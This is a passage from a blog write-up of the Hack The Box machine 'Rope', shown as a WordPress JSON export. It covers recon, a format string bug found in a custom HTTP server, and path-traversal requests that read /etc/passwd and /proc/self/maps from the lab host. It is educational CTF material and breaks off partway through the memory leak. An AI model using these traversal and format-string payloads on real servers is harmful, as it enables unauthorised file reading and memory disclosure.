{"id":1593,"date":"2020-05-23T10:58:00","date_gmt":"2020-05-23T10:58:00","guid":{"rendered":"https:\/\/devel0pment.de\/?p=1593"},"modified":"2020-05-24T10:38:44","modified_gmt":"2020-05-24T10:38:44","slug":"__trashed","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=1593","title":{"rendered":"Hack The Box &#8211; Rope"},"content":{"rendered":"\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"462\" height=\"153\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/htb.png\" alt=\"\" class=\"wp-image-1162\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/htb.png 462w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/htb-300x99.png 300w\" sizes=\"(max-width: 462px) 100vw, 462px\" \/><\/figure>\n\n\n\n<p>This article contains my writeup on the machine <code>Rope<\/code> from <a rel=\"noreferrer noopener\" aria-label=\" (opens in a new tab)\" href=\"https:\/\/www.hackthebox.eu\/\" target=\"_blank\">Hack The Box<\/a>. I really enjoyed the box, since it provides a total of three custom binaries, which are supposed to be exploited \ud83d\ude42<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"585\" height=\"345\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/htb_rope.png\" alt=\"\" class=\"wp-image-1594\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/htb_rope.png 585w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/htb_rope-300x177.png 300w\" sizes=\"(max-width: 585px) 100vw, 585px\" \/><\/figure>\n\n\n<p>The article is divided into the following parts:<br \/><br \/>\u2192 <a href=\"https:\/\/devel0pment.de\/?p=1593#user\">User<\/a><br \/>\u00a0\u00a0\u00a0\u00a0\u2013 <a href=\"https:\/\/devel0pment.de\/?p=1593#recon\">Initial Recon<\/a><br \/>\u00a0\u00a0\u00a0\u00a0\u2013 <a href=\"https:\/\/devel0pment.de\/?p=1593#httpserver\">httpserver<\/a><br \/>\u00a0\u00a0\u00a0\u00a0\u2013 <a href=\"https:\/\/devel0pment.de\/?p=1593#leak\">Leak Memory Address<\/a><br \/>\u00a0\u00a0\u00a0\u00a0\u2013 <a href=\"https:\/\/devel0pment.de\/?p=1593#fmt\">Exploit Format String Vulnerability<\/a><br \/>\u00a0\u00a0\u00a0\u00a0\u2013 <a href=\"https:\/\/devel0pment.de\/?p=1593#user_escalate\">Escalating from john to r4j (readlogs)<\/a><br \/><br \/>\u2192 <a href=\"https:\/\/devel0pment.de\/?p=1593#root\">Root<\/a><br \/>\u00a0\u00a0\u00a0\u00a0\u2013 <a href=\"https:\/\/devel0pment.de\/?p=1593#recon2\">Local Recon<\/a><br \/>\u00a0\u00a0\u00a0\u00a0\u2013 <a href=\"https:\/\/devel0pment.de\/?p=1593#contact\">contact<\/a><br \/>\u00a0\u00a0\u00a0\u00a0\u2013 <a href=\"https:\/\/devel0pment.de\/?p=1593#bruteforce\">Bruteforce<\/a><br \/>\u00a0\u00a0\u00a0\u00a0\u2013 <a href=\"https:\/\/devel0pment.de\/?p=1593#libcleak\">Libc Leak<\/a><br \/>\u00a0\u00a0\u00a0\u00a0\u2013 <a href=\"https:\/\/devel0pment.de\/?p=1593#finalexploit\">Final Exploit<\/a><\/p>\n<p><style>code { color:#0000ff;}<\/style><\/p>\n\n\n<!--more-->\n\n\n\n<hr\/>\n\n\n\n<p><h2 id=\"user\">User<\/h2><\/p>\n\n\n\n<p><h3 id=\"recon\">Initial Recon<\/h3><\/p>\n\n\n\n<p>We start by scanning the 1000 most common ports using <code>nmap<\/code> (<code>-sV<\/code>: version detection, <code>-sC<\/code>: run default scripts):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# nmap -sV -sC 10.10.10.148\nStarting Nmap 7.80 ( https:\/\/nmap.org ) at 2019-10-08 06:50 EDT\nNmap scan report for 10.10.10.148\nHost is up (0.010s latency).\nNot shown: 998 closed ports\nPORT     STATE SERVICE VERSION\n22\/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   2048 56:84:89:b6:8f:0a:73:71:7f:b3:dc:31:45:59:0e:2e (RSA)\n|   256 76:43:79:bc:d7:cd:c7:c7:03:94:09:ab:1f:b7:b8:2e (ECDSA)\n|_  256 b3:7d:1c:27:3a:c1:78:9d:aa:11:f7:c6:50:57:25:5e (ED25519)\n9999\/tcp open  abyss?\n| fingerprint-strings: \n|   GetRequest, HTTPOptions: \n|     HTTP\/1.1 200 OK\n|     Accept-Ranges: bytes\n|     Cache-Control: no-cache\n|     Content-length: 4871\n|     Content-type: text\/html\n|     &lt;!DOCTYPE html&gt;\n|     &lt;html lang=&quot;en&quot;&gt;\n|     &lt;head&gt;\n|     &lt;title&gt;Login V10&lt;\/title&gt;\n...\n1 service unrecognized despite returning data. If you know the service\/version, please submit the following fingerprint at https:\/\/nmap.org\/cgi-bin\/submit.cgi?new-service :\nSF-Port9999-TCP:V=7.80%I=7%D=10\/8%Time=5D9C69E2%P=x86_64-pc-linux-gnu%r(Ge\nSF:tRequest,1378,&quot;HTTP\/1\\.1\\x20200\\x20OK\\r\\nAccept-Ranges:\\x20bytes\\r\\nCac\nSF:he-Control:\\x20no-cache\\r\\nContent-length:\\x204871\\r\\nContent-type:\\x20\n...\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 142.66 seconds\n<\/pre><\/div>\n\n\n<p>Accordingly there is an <code>OpenSSH<\/code> server running on port <code>22<\/code>. Port <code>9999<\/code> is also open, though <code>nmap<\/code> cannot determine the service\/version. Based on the output it is obviously a web server running on this port.<\/p>\n\n\n\n<p>Do not forget to also run a full port scan e.g. using <code>nmap 10.10.10.148 -p-<\/code>. We should also check for <code>UDP<\/code> services, though there are none running here.<\/p>\n\n\n\n<p>Since we cannot do much with SSH for now, let&#8217;s have a closer look at the web server running on port <code>9999<\/code>. The root-page displays a login prompt:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"784\" height=\"645\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img01.png\" alt=\"\" class=\"wp-image-1605\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img01.png 784w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img01-300x247.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img01-768x632.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>There is some javascript code for clientside validation of the input fields, but this does not lead to anything useful. When static resources like the root-page are accessed the server does not provide a <code>Server<\/code> header, which may reveal what kind of web server is in place:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [11,12,13,14,15]; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# curl -v http:\/\/10.10.10.148:9999\n*   Trying 10.10.10.148:9999...\n* TCP_NODELAY set\n* Connected to 10.10.10.148 (10.10.10.148) port 9999 (#0)\n&gt; GET \/ HTTP\/1.1\n&gt; Host: 10.10.10.148:9999\n&gt; User-Agent: curl\/7.65.3\n&gt; Accept: *\/*\n&gt; \n* Mark bundle as not supporting multiuse\n&lt; HTTP\/1.1 200 OK\n&lt; Accept-Ranges: bytes\n&lt; Cache-Control: no-cache\n&lt; Content-length: 4871\n&lt; Content-type: text\/html\n&lt; \n&lt;!DOCTYPE html&gt;\n&lt;html lang=&quot;en&quot;&gt;\n...\n<\/pre><\/div>\n\n\n<p>However, when we try to access a non existing page, a <code>Server<\/code> header is provided:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [12]; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# curl -v http:\/\/10.10.10.148:9999\/totally_not_existing\n*   Trying 10.10.10.148:9999...\n* TCP_NODELAY set\n* Connected to 10.10.10.148 (10.10.10.148) port 9999 (#0)\n&gt; GET \/totally_not_existing HTTP\/1.1\n&gt; Host: 10.10.10.148:9999\n&gt; User-Agent: curl\/7.65.3\n&gt; Accept: *\/*\n&gt; \n* Mark bundle as not supporting multiuse\n&lt; HTTP\/1.1 404 Not found\n&lt; Server: simple http server\n&lt; Content-length: 14\n&lt; \n* Connection #0 to host 10.10.10.148 left intact\nFile not found\n<\/pre><\/div>\n\n\n<p>Accordingly the server is called <code>simple http server<\/code>. Despite the similar name of the popular python SimpleHTTP server (banner: <code>SimpleHTTP\/0.6 Python\/XXX<\/code>), this does not seem to be a well-known web server.<\/p>\n\n\n\n<p>By feeding some custom inputs to the web server, we can figure out that we can list all files in the web server&#8217;s current directory by simply issuing a <code>GET<\/code> request to <code>.<\/code> (dot):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,7,8,9,10,11,12,13,14]; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# echo -ne &#039;GET .\\r\\n\\r\\n&#039;|nc 10.10.10.148 9999\nHTTP\/1.1 200 OK\nServer: simple http server\nContent-Type: text\/html\n\n&lt;html&gt;&lt;head&gt;&lt;style&gt;body{font-family: monospace; font-size: 13px;}td {padding: 1.5px 6px;}&lt;\/style&gt;&lt;\/head&gt;&lt;body&gt;&lt;table&gt;\n&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;fonts\/&quot;&gt;fonts\/&lt;\/a&gt;&lt;\/td&gt;&lt;td&gt;2018-01-06 16:45&lt;\/td&gt;&lt;td&gt;&#x5B;DIR]&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;index.html&quot;&gt;index.html&lt;\/a&gt;&lt;\/td&gt;&lt;td&gt;2019-06-19 17:34&lt;\/td&gt;&lt;td&gt;4.8K&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;images\/&quot;&gt;images\/&lt;\/a&gt;&lt;\/td&gt;&lt;td&gt;2018-01-06 16:45&lt;\/td&gt;&lt;td&gt;&#x5B;DIR]&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;httpserver&quot;&gt;httpserver&lt;\/a&gt;&lt;\/td&gt;&lt;td&gt;2019-06-19 17:30&lt;\/td&gt;&lt;td&gt;21.3K&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;js\/&quot;&gt;js\/&lt;\/a&gt;&lt;\/td&gt;&lt;td&gt;2018-01-06 16:45&lt;\/td&gt;&lt;td&gt;&#x5B;DIR]&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;vendor\/&quot;&gt;vendor\/&lt;\/a&gt;&lt;\/td&gt;&lt;td&gt;2018-01-06 16:45&lt;\/td&gt;&lt;td&gt;&#x5B;DIR]&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;css\/&quot;&gt;css\/&lt;\/a&gt;&lt;\/td&gt;&lt;td&gt;2018-01-06 16:45&lt;\/td&gt;&lt;td&gt;&#x5B;DIR]&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;run.sh&quot;&gt;run.sh&lt;\/a&gt;&lt;\/td&gt;&lt;td&gt;2019-06-20 07:27&lt;\/td&gt;&lt;td&gt;85&lt;\/td&gt;&lt;\/tr&gt;\n&lt;\/table&gt;&lt;\/body&gt;&lt;\/html&gt;\n<\/pre><\/div>\n\n\n<p>The directory contains a file called <code>httpserver<\/code>, which probably is the web server itself. So let&#8217;s grab this file:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# mkdir loot\nroot@kali:~\/htb\/boxes\/rope# cd loot\nroot@kali:~\/htb\/boxes\/rope\/loot# wget http:\/\/10.10.10.148:9999\/httpserver\n--2019-10-08 07:44:04--  http:\/\/10.10.10.148:9999\/httpserver\nConnecting to 10.10.10.148:9999... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 21840 (21K) &#x5B;text\/plain]\nSaving to: \u2018httpserver\u2019\n\nhttpserver                       100%&#x5B;==========================================================&gt;]  21.33K  --.-KB\/s    in 0.01s   \n\n2019-10-08 07:44:04 (2.17 MB\/s) - \u2018httpserver\u2019 saved &#x5B;21840\/21840]\n<\/pre><\/div>\n\n\n<p><h3 id=\"httpserver\">httpserver<\/h3><\/p>\n\n\n\n<p>The file is a 32-bit ELF binary:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# file httpserver \nhttpserver: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter \/lib\/ld-linux.so.2, for GNU\/Linux 3.2.0, BuildID&#x5B;sha1]=e4e105bd11d096b41b365fa5c0429788f2dd73c3, not stripped\n<\/pre><\/div>\n\n\n<p><code>Stack canaries<\/code>, <code>NX<\/code> as well as <code>PIE<\/code> are enabled:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# checksec httpserver\n&#x5B;*] &#039;\/root\/htb\/boxes\/rope\/loot\/httpserver&#039;\n    Arch:     i386-32-little\n    RELRO:    Partial RELRO\n    Stack:    Canary found\n    NX:       NX enabled\n    PIE:      PIE enabled\n<\/pre><\/div>\n\n\n<p>In order to get a quick overview what the binary is doing, I usually use <code>ghidra<\/code>. By giving the used variables meaningful names and adding comments to the decompiled code it is a good way to document acquired insights.<\/p>\n\n\n\n<p>The following pictures shows an excerpt of the decompile window of <code>ghidra<\/code>. The <code>main<\/code> function of the program is listening for new connections in an infinite loop and calls the function <code>process<\/code> for every new connection:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"460\" height=\"275\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img02.png\" alt=\"\" class=\"wp-image-1610\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img02.png 460w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img02-300x179.png 300w\" sizes=\"(max-width: 460px) 100vw, 460px\" \/><\/figure>\n\n\n\n<p>Within the <code>process<\/code> function a new process is forked to handle the connection. This process parses the HTTP request and sends the respective HTTP response. The details are not relevant for our consideration, so I skip them here. After spending some time to get a good overview of how the HTTP request is parsed and how the response is constructed, I started looking for obvious vulnerabilities. The function <code>log_access<\/code>, which logs each HTTP request, quickly caught my attention:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"460\" height=\"348\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img03.png\" alt=\"\" class=\"wp-image-1611\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img03.png 460w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img03-300x227.png 300w\" sizes=\"(max-width: 460px) 100vw, 460px\" \/><\/figure>\n\n\n\n<p>The decompiled output from <code>ghidra<\/code> quickly shows that on line 19 a variable (<code>param_3<\/code>) is passed as the first parameter to <code>printf<\/code>. As the first parameter of <code>printf<\/code> is the format string to be used, this should in almost all cases be a static string instead of a dynamic variable. If the user can control this variable, the program is prone to a format string vulnerability.<\/p>\n\n\n\n<p>In order to determine what the variable <code>param_3<\/code> contains, we can analyze the code statically or simple run the program locally in <code>gdb<\/code> and set a breakpoint on the <code>log_access<\/code> function. To conveniently debug the program, we can run the binary (<code>.\/httpserver<\/code>) and attach to the running process afterwards:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# gdb .\/httpserver $(pidof httpserver)\n...\ngdb-peda$ b *log_access \nBreakpoint 1 at 0x56557077\ngdb-peda$ c\nContinuing.\n<\/pre><\/div>\n\n\n<p>This way we can send different payloads to the server without restarting it all the time.<\/p>\n\n\n\n<p>If we now issue a HTTP request to the locally running web server, the breakpoint is hit:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1]; title: ; notranslate\" title=\"\">\nroot@kali:~# curl http:\/\/0:9999\n...\n<\/pre><\/div>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [21,30]; title: ; notranslate\" title=\"\">\n&#x5B;Attaching after process 7413 fork to child process 7435]\n&#x5B;New inferior 2 (process 7435)]\n&#x5B;Detaching after fork from parent process 7413]\n&#x5B;Inferior 1 (process 7413) detached]\n&#x5B;Switching to process 7435]\n&#x5B;----------------------------------registers-----------------------------------]\nEAX: 0xffffc9d4 (&quot;.\/index.html&quot;)\nEBX: 0x5655a000 --&gt; 0x4efc \nECX: 0x7ffffff5 \nEDX: 0xf7fb2010 --&gt; 0x0 \nESI: 0xf7fb0000 --&gt; 0x1d6d6c \nEDI: 0xf7fb0000 --&gt; 0x1d6d6c \nEBP: 0xffffd1e8 --&gt; 0xffffd348 --&gt; 0x0 \nESP: 0xffffc93c --&gt; 0x565576e3 (&lt;process+524&gt;:\tadd    esp,0x10)\nEIP: 0x56557077 (&lt;log_access&gt;:\tpush   ebp)\nEFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)\n&#x5B;-------------------------------------code-------------------------------------]\n   0x56557072 &lt;parse_request+595&gt;:\tmov    ebx,DWORD PTR &#x5B;ebp-0x4]\n   0x56557075 &lt;parse_request+598&gt;:\tleave  \n   0x56557076 &lt;parse_request+599&gt;:\tret    \n=&gt; 0x56557077 &lt;log_access&gt;:\tpush   ebp\n   0x56557078 &lt;log_access+1&gt;:\tmov    ebp,esp\n   0x5655707a &lt;log_access+3&gt;:\tpush   esi\n   0x5655707b &lt;log_access+4&gt;:\tpush   ebx\n   0x5655707c &lt;log_access+5&gt;:\tsub    esp,0x20\n&#x5B;------------------------------------stack-------------------------------------]\n0000| 0xffffc93c --&gt; 0x565576e3 (&lt;process+524&gt;:\tadd    esp,0x10)\n0004| 0xffffc940 --&gt; 0xc8 \n0008| 0xffffc944 --&gt; 0xffffd22c --&gt; 0xaae40002 \n0012| 0xffffc948 --&gt; 0xffffc9d4 (&quot;.\/index.html&quot;)\n0016| 0xffffc94c --&gt; 0x13 \n0020| 0xffffc950 --&gt; 0xffffc9a4 --&gt; 0xf7ec0000 (&lt;wordexp+2656&gt;:\ttest   BYTE PTR &#x5B;eax+ecx*4],ah)\n0024| 0xffffc954 --&gt; 0xffffc9a0 --&gt; 0x0 \n0028| 0xffffc958 --&gt; 0xffffd22c --&gt; 0xaae40002 \n&#x5B;------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n\nThread 2.1 &quot;httpserver&quot; hit Breakpoint 1, 0x56557077 in log_access ()\ngdb-peda$ \n<\/pre><\/div>\n\n\n<p>The third parameter (<code>param_3<\/code>) is the fourth item on the stack, which is the string <code>\".\/index.html\"<\/code>. This is the resource we requested within the HTTP request (in this case the string <code>\".\/index.html\"<\/code> was set by the program since we only queried the root-page <code>\"\/\"<\/code>). If you experience that the breakpoint is not hit on the first request, just resend the request and the breakpoint will eventually be hit.<\/p>\n\n\n\n<p>In order to verify that the web server is vulnerable to a format string vulnerability, let&#8217;s start by dumping a few memory address. In order to do this, we can request a resource, which contains the format specifier <code>%p<\/code>. When getting a quick overview of the program you probably noticed that the requested resource is URL decoded by calling the function <code>url_decode<\/code> before being logged. This function simply looks for a percent sign (<code>%<\/code>) and interprets the following two characters as a hex value. This simply means, that we have to URL encode the percent sign we want to use in our format specifier (<code>%25<\/code>):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# echo -ne &#039;GET %25p.%25p.%25p.%25p\\r\\n\\r\\n&#039;|nc 0 9999\nHTTP\/1.1 404 Not found\nServer: simple http server\nContent-length: 14\n\nFile not found\n<\/pre><\/div>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n...\naccept request, fd is 4, pid is 9115\n127.0.0.1:35620 404 - 0xf7f840dc.0x8b24.0x194.0xfff32ab8\nrequest method:\nGET\n<\/pre><\/div>\n\n\n<p>We successfully dumped four values from memory and confirmed that the program is vulnerable to a format string vulnerability.<\/p>\n\n\n\n<p>How can we exploit this?<\/p>\n\n\n\n<p>We have already seen that the program is not compiled with <code>full RELRO<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [4]; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# checksec httpserver\n&#x5B;*] &#039;\/root\/htb\/boxes\/rope\/loot\/httpserver&#039;\n    Arch:     i386-32-little\n    RELRO:    Partial RELRO\n    Stack:    Canary found\n    NX:       NX enabled\n    PIE:      PIE enabled\n<\/pre><\/div>\n\n\n<p>This means that we can overwrite an entry within the <code>GOT<\/code> in order to control the instruction pointer. The problem is that the program is compiled as a <code>Position Independent Executable<\/code> (<code>PIE<\/code>) and we thus don&#8217;t know the address of the <code>GOT<\/code>. Accordingly we need a leak first.<\/p>\n\n\n\n<p><h3 id=\"leak\">Leak Memory Address<\/h3><\/p>\n\n\n\n<p>We have already seen, that the web server can be used to list the content of the current directory. We can also traverse through the file system and read arbitrary files (if we have read access). For example we can read the <code>passwd<\/code> file using the following command:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# echo -ne &#039;GET ..\/..\/etc\/passwd\\r\\n\\r\\n&#039;|nc 10.10.10.148 9999\nHTTP\/1.1 200 OK\nAccept-Ranges: bytes\nCache-Control: no-cache\nContent-length: 1594\nContent-type: text\/plain\n\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/var\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:\/run\/systemd\/netif:\/usr\/sbin\/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:\/run\/systemd\/resolve:\/usr\/sbin\/nologin\nsyslog:x:102:106::\/home\/syslog:\/usr\/sbin\/nologin\nmessagebus:x:103:107::\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:104:65534::\/nonexistent:\/usr\/sbin\/nologin\nlxd:x:105:65534::\/var\/lib\/lxd\/:\/bin\/false\nuuidd:x:106:110::\/run\/uuidd:\/usr\/sbin\/nologin\ndnsmasq:x:107:65534:dnsmasq,,,:\/var\/lib\/misc:\/usr\/sbin\/nologin\nlandscape:x:108:112::\/var\/lib\/landscape:\/usr\/sbin\/nologin\npollinate:x:109:1::\/var\/cache\/pollinate:\/bin\/false\nsshd:x:110:65534::\/run\/sshd:\/usr\/sbin\/nologin\nr4j:x:1000:1000:r4j:\/home\/r4j:\/bin\/bash\njohn:x:1001:1001:,,,:\/home\/john:\/bin\/bash\n<\/pre><\/div>\n\n\n<p>In order to get the address of the current process, we should simply be able to read the memory maps from <code>\/proc\/self\/maps<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# echo -ne &#039;GET ..\/..\/proc\/self\/maps\\r\\n\\r\\n&#039;|nc 10.10.10.148 9999\nHTTP\/1.1 200 OK\nAccept-Ranges: bytes\nCache-Control: no-cache\nContent-length: 0\nContent-type: text\/plain\n<\/pre><\/div>\n\n\n<p>Ouh? We get a HTTP 200 OK response, but the response body is empty. Also the <code>Content-length<\/code> is set to zero. Why is this?<\/p>\n\n\n\n<p>The reason for this is that <code>\/proc<\/code> is a pseudo-file system. The output when we run <code>cat \/proc\/self\/maps<\/code> is generated on the fly. There is no file stored on the hard disk waiting to be read. Because of this the file size is actually zero. The following example program demonstrates this:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/test# cat fstat_test.c\n#include &lt;stdlib.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;sys\/stat.h&gt;\n#include &lt;fcntl.h&gt;\n#include &lt;unistd.h&gt;\n\nint main(int argc, char *argv&#x5B;]) {\n  if (argc &lt; 2) return -1;\n  int f = open(argv&#x5B;1], O_RDONLY);\n  struct stat buffer;\n  fstat(f, &amp;buffer);\n  printf(&quot;size: %d\\n&quot;, buffer.st_size);\n  close(f);\n  return 0;\n}\n<\/pre><\/div>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/test# gcc fstat_test.c -o fstat_test\nroot@kali:~\/htb\/boxes\/rope\/test# .\/fstat_test \/etc\/passwd\nsize: 2996\nroot@kali:~\/htb\/boxes\/rope\/test# .\/fstat_test \/proc\/self\/maps\nsize: 0\n<\/pre><\/div>\n\n\n<p>We can also see that the file size is zero using <code>ls<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/test# ls -al \/proc\/self\/maps\n-r--r--r-- 1 root root 0 Oct  8 09:50 \/proc\/self\/maps\n<\/pre><\/div>\n\n\n<p>Because of this the web server can open <code>\/proc\/self\/maps<\/code> but only sends zero bytes from the file. Luckily the web server provides a way to actively set the file size we want to read by setting the <code>Range<\/code> header:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"557\" height=\"115\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img04.png\" alt=\"\" class=\"wp-image-1612\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img04.png 557w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img04-300x62.png 300w\" sizes=\"(max-width: 557px) 100vw, 557px\" \/><\/figure>\n\n\n\n<p>By providing this header in the request, we can successfully read the memory layout from <code>\/proc\/self\/maps<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/test# echo -ne &#039;GET ..\/..\/proc\/self\/maps\\r\\nRange: bytes=0-10000\\r\\n\\r\\n&#039;|nc 10.10.10.148 9999\nHTTP\/1.1 200 OK\nAccept-Ranges: bytes\nCache-Control: no-cache\nContent-length: 10001\nContent-type: text\/plain\n\n56624000-56625000 r--p 00000000 08:02 660546                             \/opt\/www\/httpserver\n56625000-56627000 r-xp 00001000 08:02 660546                             \/opt\/www\/httpserver\n56627000-56628000 r--p 00003000 08:02 660546                             \/opt\/www\/httpserver\n56628000-56629000 r--p 00003000 08:02 660546                             \/opt\/www\/httpserver\n56629000-5662a000 rw-p 00004000 08:02 660546                             \/opt\/www\/httpserver\n57367000-57389000 rw-p 00000000 00:00 0                                  &#x5B;heap]\nf7de3000-f7fb5000 r-xp 00000000 08:02 660685                             \/lib32\/libc-2.27.so\nf7fb5000-f7fb6000 ---p 001d2000 08:02 660685                             \/lib32\/libc-2.27.so\nf7fb6000-f7fb8000 r--p 001d2000 08:02 660685                             